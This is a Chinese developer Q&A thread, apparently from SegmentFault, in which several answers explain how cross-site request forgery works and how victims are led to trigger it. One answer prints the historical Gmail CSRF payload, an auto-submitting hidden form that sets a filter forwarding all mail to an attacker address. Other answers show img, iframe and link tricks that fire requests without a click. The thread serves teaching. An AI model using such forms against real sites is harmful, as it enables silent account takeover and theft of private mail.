CSRF攻击者是如何向网站注入欺诈链接的?

justable
  • 199

我明白CSRF的运作过程,但想不出来攻击者是如何在目标网站注入欺诈链接来骗用户点击的?

回复
阅读 2.8k
6 个回答
✓ 已被采纳

比如这个 看似人畜无害的链接,就可以把人从思否诱导到一条不归之路[手动狗头],这里利用的原理是只要构造出合适的 URL 就可以发起百度搜索,仅此而已,但是你跳过去之后,浏览器会把本地的 Cookie 给你带上,百度后台就会认为是你本人在搜这种奇怪的东西,换成字节搜索的话,没准明天你的抖音就会刷到震撼的短视频了。

这个例子只是一个不怀好意的诱导,还算不上攻击,因为百度搜索的这个特点不算什么漏洞。但是如果某个银行的转账接口也是在 URL 里拼参数的话,那可就危险了:如果用户恰好登过这个银行的网页,Cookie 还在,那么只要构造一条转账的 URL,找机会让用户去点,就能神不知鬼不觉地把用户的钱拿到手。

那么,我有没有在百度的网站注入任何东西?没有。所以对于要攻击的目标网站,我们是不需要注入任何东西的,只要找到他的 CSRF 漏洞就行。

  • 我们真正需要“注入”的,是这条链接,我这里写回答其实就已经成功“注入”了,因此,假如你发现了某个网站有这种明显的 CSRF 漏洞的话,你只需要在这里提个问题,夹带私货,然后静候猎物上钩。
  • 有些时候我们需要使用更高档的手段,比如构造表单,那么这里的跳转链接显然是不够用的,这时候如果思否有 XSS 漏洞可以注入长的 html 片段的话,那么可以在这个 html 片段里构造表单,由于 XSS 的存在,我们已经不需要用户点击来发起攻击了。(思否在几个月前貌似真的有 XSS ,参见这个问题,这里我说的是“貌似”,因为当我打算验证的时候已经无法复现了,不知道他们是不是恶搞)
  • 除此之外,我们还可以给用户发带链接的钓鱼短信,或者在钓鱼邮件里放一个名为“船新艳照门.avi.html”的静态文件……
我其实想问的是攻击者如何把用户从正规网站A骗到他的网站B的。。。

接下来有请小明出场~~

小明的悲惨遭遇
这一天,小明同学百无聊赖地刷着Gmail邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意:

甩卖比特币,一个只要998!!

聪明的小明当然知道这种肯定是骗子,但还是抱着好奇的态度点了进去(请勿模仿)。果然,这只是一个什么都没有的空白页面,小明失望的关闭了页面。一切似乎什么都没有发生……

在这平静的外表之下,黑客的攻击已然得手。小明的Gmail中,被偷偷设置了一个过滤规则,这个规则使得所有的邮件都会被自动转发到hacker@hackermail.com。小明还在继续刷着邮件,殊不知他的邮件正在一封封地,如脱缰的野马一般地,持续不断地向着黑客的邮箱转发而去。

不久之后的一天,小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费,直到有一天,对方开出了 $650 的赎回价码,小明才开始觉得不太对劲。

小明仔细查了下域名的转让,对方是拥有自己的验证码的,而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接,打开后重新查看了“空白页”的源码:

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
    <input type="hidden" name="cf2_emc" value="true"/> 
    <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
    .....
    <input type="hidden" name="irf" value="on"/> 
    <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
    document.forms[0].submit();
</script>

这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。

小明由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小明的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小明的登录凭证,于是成功给小明配置了过滤器。

黑客可以查看小明的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。

小明很快打开Gmail,找到了那条过滤器,将其删除。然而,已经泄露的邮件,已经被转让的域名,再也无法挽回了……

以上就是小明的悲惨遭遇。而“点开一个黑客的链接,所有邮件都被窃取”这种事情并不是杜撰的,此事件原型是2007年Gmail的CSRF漏洞

这个案例就是站内信的方式诱导

这么问的话,说明你还没理解 CSRF,CSRF 的发起方可以是任意网站。

比如 站点 A 有关注作者的功能,是调用一个 GET 请求的接口,同时你现在在 A 站点登录了,并没有退出,我现在随便创建一个站点,弄一个 img 标签,地址就是这个 GET 的地址,现在你一访问我这个站,你就关注了我,这就是跨站点请求伪造(CSRF)

即使是 POST 请求,我也可以构建一个表单,在页面 onload 的时候执行,submit 事件。

在这期间,我没有做任何鉴权操作,但是因为浏览器 Cookie 的原因,会自动把 A 站点域的 Cookie 带上,所以从这里绕过了鉴权。比如一些社会化点赞组件,就可以利用这个缺陷来实现。

你能分清楚 xss 和 csrf 嘛?xss 才是注入内容。csrf 是伪造请求。

其他的楼上大佬们都说的差不多了。重点就是服务端判断你权限是通过什么方式,如果只是 cookie 的话,那么你新打开一个网页,和被迫()打开一个,服务端区分不出来。同理换成一些支付之类的操作就有风险了。

至于为什么说 cookie 只有风险,是因为 cookie 会自动携带嘛。如果是 request headers 那么就没问题,因为不会自动携带。


如何骗?我怀疑你在钓鱼啊。

  1. 伪造一个一摸一样的站。(通常是切图)
  2. 没听说过没见过的链接不要点。比如说我聊天发你一个链接,你也不知道是啥你就单击了。正好qq他就有这个csrf漏洞。你说恐怖吗。。。你点开就给我转账。当然,你要是一分钱都没有的穷鬼,那么你很安全。但是如果转账不成功,那么我就把你所有的好友都删除,恐怖吗。然后我问你,你想要你初恋的qq号嘛,我删之前把你所有好友备份了。
netwjx
  • -2
新手上路,请多包涵

根本就不需要欺骗用户点击

前端的基本操作, 隐藏iframe加载就行了


比如我 入侵|控制|负责 了 a.com, 这个网站看起来正常

但是这个页面注入了一个隐藏iframe, 会访问了 segmentfault.com 某个具有csrf漏洞的 api, 作用是给我这个回答点赞

此时任何访问了 a.com 的用户, 并且他曾经登录过 segmentfault.com, 在他根本感知不到的情况下, 就给我点赞了

攻击者如何把用户从正规网站A骗到他的网站B

利用网站的发布功能来发布含有网站B地址的超链接

比如帖子的回复处,直接输入
<a href="网站b">阿卡丽神秘商店</a>
这样展现出来就是
阿卡丽神秘商店

也可以利用img标签的特性自动触发,这种不需要用户点击
<img src="网站b" />

总的来说都需要有一个能输入内容的地方,这样才能把恶意代码渲染在网页上,攻击到用户

你知道吗?

宣传栏